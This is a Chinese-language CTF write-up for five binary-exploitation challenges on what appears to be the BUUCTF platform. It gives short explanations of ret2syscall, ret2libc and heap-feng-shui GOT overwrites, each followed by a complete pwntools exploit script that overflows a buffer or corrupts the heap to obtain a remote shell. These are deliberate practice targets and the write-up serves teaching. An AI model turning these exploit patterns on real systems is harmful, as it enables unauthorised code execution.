cmcc_simplerop
ret2syscall
参考 https://rninche01.tistory.com/entry/Linux-system-call-table-%EC%A0%95%EB%A6%ACx86-x64
构造rop执行
read(0, bss_addr, 8) 读取 /bin/sh\x00
execve(bss_addr, 0, 0) get shell
这里有个坑点, v4到ebp的距离不是IDA显示的那样, 需要调试确定, 发现偏移是0x1c
from pwn import *
url, port = "node4.buuoj.cn", 26884
filename = "./simplerop"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
pop_edx_ecx_ebx_addr = 0x0806e850
pop_eax_addr = 0x080bae06
read_addr= 0x0806CD50
int_80_addr = 0x080493e1
bss_addr = elf.bss()
payload = cyclic(0x1c + 4) + p32(read_addr) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(bss_addr)
payload += p32(8) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(bss_addr)
payload += p32(pop_eax_addr) + p32(0xb) + p32(int_80_addr)
# B()
io.sendline(payload)
io.send(b"/bin/sh\x00")
if __name__ == "__main__":
pwn()
io.interactive()
解释一下我一开始不太理解的payload
cyclic(0x1c + 4) + p32(read_addr) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(bss_addr) + p32(8)
这里我按照read也用系统调用的思路去理解了, 结果绕进了思维误区, 浪费了一些时间, 其实这里的pop3次不是用来设置寄存器的, 而是弹出read的三个参数, read函数隔一个返回地址, 后三个数据是参数, 0, bss_addr, 8即对应read(0, bss_addr, 8)
picoctf_2018_buffer overflow 2
绕过一下条件判断
from pwn import *
url, port = "node4.buuoj.cn", 25760
filename = "./PicoCTF_2018_buffer_overflow_2"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
win_addr = elf.sym["win"]
main_addr = elf.sym["main"]
payload = cyclic(0x6C + 4) + p32(win_addr) + p32(main_addr) + p32(0xDEADBEEF) + p32(0xDEADC0DE)
io.sendafter("string: \n", payload)
if __name__ == "__main__":
pwn()
io.interactive()
inndy_rop
ret2syscall, 跟上面的cmcc_simplerop没有本质区别
from pwn import *
url, port = "node4.buuoj.cn", 28674
filename = "./rop"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
pop_edx_ecx_ebx_addr = 0x0806ed00
pop_eax_addr = 0x080b8016
read_addr= elf.sym["read"]
int_80_addr = 0x0806c943
bss_addr = elf.bss()
payload = cyclic(0xC + 4) + p32(read_addr) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(bss_addr)
payload += p32(8) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(bss_addr)
payload += p32(pop_eax_addr) + p32(0xb) + p32(int_80_addr)
# B()
io.sendline(payload)
io.send(b"/bin/sh\x00")
if __name__ == "__main__":
pwn()
io.interactive()
xdctf2015_pwn200
泄露libc, ret2libc
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 28294
filename = "./bof"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.sym["main"]
payload = cyclic(0x6C + 4) + p32(write_plt) + p32(main_addr)
payload += p32(1) + p32(write_got) + p32(4)
io.sendafter("XDCTF2015~!\n", payload)
write_addr = u32(io.recv(4))
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = cyclic(0x6C + 4) + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
io.sendafter("XDCTF2015~!\n", payload)
if __name__ == "__main__":
pwn()
io.interactive()
babyfengshui_33c3_2016
结构体
struct user{
char *description;
char name[0x7C];
}
Update, 检测修改的description长度是否超过name的起始地址, 这里是有逻辑问题的, 可以堆风水绕过长度检测, 然后通过修改description指针到got表, 泄露libc, 修改got表劫持程序流, get shell
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 26233
filename = "./babyfengshui_33c3_2016"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def Add(size, length, text):
io.sendlineafter("Action: ", '0')
io.sendlineafter("description: ", str(size))
io.sendlineafter("name: ", 'falca')
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)
def Delete(index):
io.sendlineafter("Action: ", '1')
io.sendlineafter("index: ", str(index))
def Display(index):
io.sendlineafter("Action: ", '2')
io.sendlineafter("index: ", str(index))
def Update(index, length, text):
io.sendlineafter("Action: ", '3')
io.sendlineafter("index: ", str(index))
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)
def pwn():
free_got = elf.got["free"]
Add(0x80, 0x80, "chunk0")
Add(0x80, 0x80, "chunk1")
Add(0x8, 0x8, "/bin/sh\x00")
Delete(0)
payload = cyclic(0x198) + p32(free_got)
Add(0x100, 0x19C, payload)
Display(1)
io.recvuntil("description: ")
free_addr = u32(io.recv(4))
libc = LibcSearcher("free", free_addr)
libc_base = free_addr - libc.dump("free")
system_addr = libc_base + libc.dump("system")
Update(1, 4, p32(system_addr))
Delete(2)
if __name__ == "__main__":
pwn()
io.interactive()